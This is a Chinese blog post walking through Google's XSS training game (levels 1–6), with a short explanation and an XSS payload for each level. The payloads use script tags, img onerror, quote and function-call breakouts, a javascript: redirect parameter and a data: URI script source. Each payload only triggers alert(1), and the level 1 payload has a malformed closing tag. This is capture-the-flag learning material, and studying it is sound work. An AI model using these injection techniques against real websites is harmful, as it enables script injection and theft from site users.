Hpdoger's Blog.

xss从零开始(三)之怒刷google-xss

Word count: 602 / Reading time: 2 min
2018/08/06 Share

索引

xss太好玩了,刷题刷题~

level 1 easypass

地址:https://xss-game.appspot.com/level1
easy

1
<script>alert(1)</alert>

level 2 img标签+事件绕过

地址:https://xss-game.appspot.com/level2

过滤script标签,用事件绕过

1
<img src=x onerror="alert(1)">

level 3 window.location.hash

地址:https://xss-game.appspot.com/level3


看到url里,有“#”号,联想window.location.hash
那么什么是window.location.hash呢?

window.location.hash属性介绍
location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url。而location.hash则可以用来获取或设置页面的标签值。比如http://domain/#admin的location.hash="#admin"。利用这个属性值可以做一个非常有意义的事情。

也就是说页面会截取#后面的内容,再将这个值替换到url里进行重定向,这里提交一句话分析一下


如果我们以单引号结尾,我们猜测这个页面会截取单引号前面的内容并把它闭合到src的双引号里。并且在后面的jpg后再追加一个单引号。既然能脱离单引号,一切都好办了,我们用on事件构造:

1
4' onerror="alert(1)"

成功弹框

level4 编码绕过

地址:https://xss-game.appspot.com/level4

题目给了一个自己写的js函数叫做startime,执行时会进行相应的延时
函数的闭合如图:

思路是在onload事件里构造语句,出现弹框,但是过滤了分号,那么我们可以用URL编码来代替分号

1
1')%3Balert('1

还有两种思路:

1
1') || alert('1

也可以用下面这种方法,不需要任何编码/操作符:

1
1');alert(1);//

我尝试用html编码绕,但是过滤了&和#

level 5

地址:https://xss-game.appspot.com/level5

这题看提示,注意singup页面的url

singup页面还看到了next按钮,查看元素发现:

奥,事情不简单,我们传入一个next值,然后重定向给href属性。果断用javascript伪协议
payload:

1
?next=javascript:alert(1)

弹框~

level 6

地址:https://xss-game.appspot.com/level6

这题会截取#以后的内容,加载到一个新的script标签里的src属性内。我认为是引入一个js脚本的意思。如图

这里利用DATA URI Scheme来执行js代码

1
http://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1);

CATALOG
  1. 1. 索引
  2. 2. level 1 easypass
  3. 3. level 2 img标签+事件绕过
  4. 4. level 3 window.location.hash
  5. 5. level4 编码绕过
  6. 6. level 5
  7. 7. level 6